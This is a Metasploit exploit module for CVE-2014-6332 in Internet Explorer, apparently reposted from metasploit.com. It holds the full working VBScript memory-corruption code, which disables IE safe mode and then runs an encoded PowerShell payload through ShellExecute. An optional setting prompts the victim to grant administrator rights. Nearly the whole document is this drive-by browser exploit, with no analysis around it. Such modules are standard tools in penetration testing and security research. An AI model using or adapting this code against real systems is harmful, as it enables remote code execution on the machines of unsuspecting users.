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Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution
来源:metasploit.com 作者:b33f 发布时间:2014-12-01  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Powershell

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "3.0",
    :ua_maxver  => "10.0",
    :javascript => true,
    :os_name    => OperatingSystems::Match::WINDOWS,
    :rank       => ExcellentRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
      'Description'    => %q{
        This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.
        The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
        Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,
        the user has to manually allow powershell.exe to execute in order to be compromised.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Robert Freeman', # IBM X-Force
          'yuange', # twitter.com/yuange75
          'Rik van Duijn', # twitter.com/rikvduijn
          'Wesley Neelen', # security[at]forsec.nl
          'GradiusX <francescomifsud[at]gmail.com>',
          'b33f', # @FuzzySec
        ],
      'References'     =>
        [
          [ 'CVE', '2014-6332' ],
          [ 'MSB', 'MS14-064' ],
          [ 'OSVDB', '114533' ],
          [ 'EDB', '35229' ],
          [ 'EDB', '35308' ],
          [ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
          [ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
        ],
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :ua_name => HttpClients::IE,
          :os_name => /win/i,
          :arch    => 'x86',
          :ua_ver  => lambda { |ver| ver.to_i.between?(4, 10) }
        },
      'DefaultOptions' =>
        {
          'HTTP::compression' => 'gzip'
        },
      'Payload'        =>
        {
          'BadChars'        => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Nov 13 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
           OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
        ], self.class )

  end

  def vbs_prepare()
    code = %Q|
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

neline
function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function

  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)
     redim  Preserve aa(a0)
end function

function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0
              redim  Preserve aa(a2)
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)

     j=0
              j=readmemo(i+&h120+k)

               Exit for
           end if

    next
    ab(2)=1.69759663316747E-313
    runaaaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0)
    redim   ab(a0)

    redim  Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                 If(IsObject(aa(a1)) = False ) Then
                   type1=VarType(aa(a1))
                 end if
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if
        else
           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if
            end if
        end if
    end if


    If(type1=&h2f66) Then
          Over=True
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)

end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    ReadMemo=lenb(aa(a1))

    ab(0)=0

    redim  Preserve aa(a0)
end function

    |

  end

  def get_html()

    if datastore['TRYUAC']
      tryuac = 'runas'
    else
      tryuac = 'open'
    end

    payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
    payl.slice! "powershell.exe "
    prep = vbs_prepare()

    html = %Q|
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next

set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0

end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
    |

  end

  def on_request_exploit(cli, request, target_info)
    print_status("Requesting: #{request.uri}")
    send_exploit_html(cli, get_html())
  end

end


 
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